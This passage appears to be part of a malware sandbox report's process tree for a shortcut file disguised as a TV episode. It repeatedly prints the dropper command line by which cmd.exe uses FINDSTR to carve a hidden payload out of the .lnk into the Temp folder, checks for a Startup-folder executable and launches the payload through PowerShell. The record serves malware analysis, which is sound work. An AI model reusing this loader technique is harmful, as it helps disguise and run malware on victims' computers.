        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        216⤵
        
        PID:4624
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0571" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        217⤵
        
        PID:5460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        217⤵
        
        PID:5432
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        218⤵
        
        PID:4580
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0660" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        219⤵
        
        PID:4588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        219⤵
        
        PID:4832
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        220⤵
        
        PID:3920
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0737" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        221⤵
        
        PID:2196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        221⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5564
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        222⤵
        
        PID:4456
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0810" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        223⤵
        
        PID:6072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        223⤵
        
        PID:1004
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        224⤵
        
        PID:5348
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0896" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        225⤵
        
        PID:5904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        225⤵
        
        PID:3444
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        226⤵
        
        PID:3228
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0971" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        227⤵
        
        PID:5552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        227⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1892
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        228⤵
        
        PID:3652
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0038" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        229⤵
        
        PID:224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        229⤵
        
        PID:4600
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        230⤵
        
        PID:3244
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0116" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        231⤵
        
        PID:4080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        231⤵
        
        PID:5320
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        232⤵
        
        PID:2972
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0190" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        233⤵
        
        PID:5336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        233⤵
        
        PID:6116
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        234⤵
        
        PID:3972
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0260" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        235⤵
        
        PID:2292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        235⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:860
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        236⤵
        
        PID:2044
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        237⤵
        
        PID:5108
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0335" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        237⤵
        
        PID:4156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        237⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4332
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        238⤵
        
        PID:5372
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0404" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        239⤵
        
        PID:5532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        239⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:796
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        240⤵
        
        PID:928
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0485" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        241⤵
        
        PID:5500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        241⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3068
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        242⤵
        
        PID:3144
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0569" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        243⤵
        
        PID:452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        243⤵
        
        PID:1064
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        244⤵
        
        PID:4916
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0651" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        245⤵
        
        PID:6056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        245⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4964
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        246⤵
        
        PID:504
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0718" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        247⤵
        
        PID:5984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        247⤵
        
        PID:344
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        248⤵
        
        PID:5044
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0783" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        249⤵
        
        PID:772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        249⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3872
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        250⤵
        
        PID:4264
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0862" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        251⤵
        
        PID:4492
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        251⤵
        
        PID:844
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        252⤵
        
        PID:1040
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0948" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        253⤵
        
        PID:4540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        253⤵
        
        PID:1832
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        254⤵
        
        PID:2460
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0026" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        255⤵
        
        PID:2436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        255⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4792
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        256⤵
        
        PID:5736
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0109" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        257⤵
        
        PID:4356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        257⤵
        
        PID:3492
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        258⤵
        
        PID:5096
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0190" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        259⤵
        
        PID:856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        259⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4656
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        260⤵
        
        PID:2384
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0277" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        261⤵
        
        PID:4212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        261⤵
        
        PID:4772
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        262⤵
        
        PID:6084
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0363" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        263⤵
        
        PID:2176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        263⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5624
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        264⤵
        
        PID:2476
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0444" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        265⤵
        
        PID:1128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        265⤵
        
        PID:4160
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        266⤵
        
        PID:4680
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0521" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        267⤵
        
        PID:2076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        267⤵
        
        PID:5064
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        268⤵
        
        PID:1748
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0613" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        269⤵
        
        PID:884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        269⤵
        
        PID:2720
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        270⤵
        
        PID:1908
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0688" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        271⤵
        
        PID:5076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        271⤵
        
        PID:4812
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        272⤵
        
        PID:1084
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0773" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        273⤵
        
        PID:616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        273⤵
        
        PID:5116
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        274⤵
        
        PID:2872
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0841" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        275⤵
        
        PID:2108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        275⤵
        
        PID:3864
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        276⤵
        
        PID:5272
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0933" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        277⤵
        
        PID:5264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        277⤵
        
        PID:4156
        
        C:\Windows\SYSTEM32\cmd.EXE
        
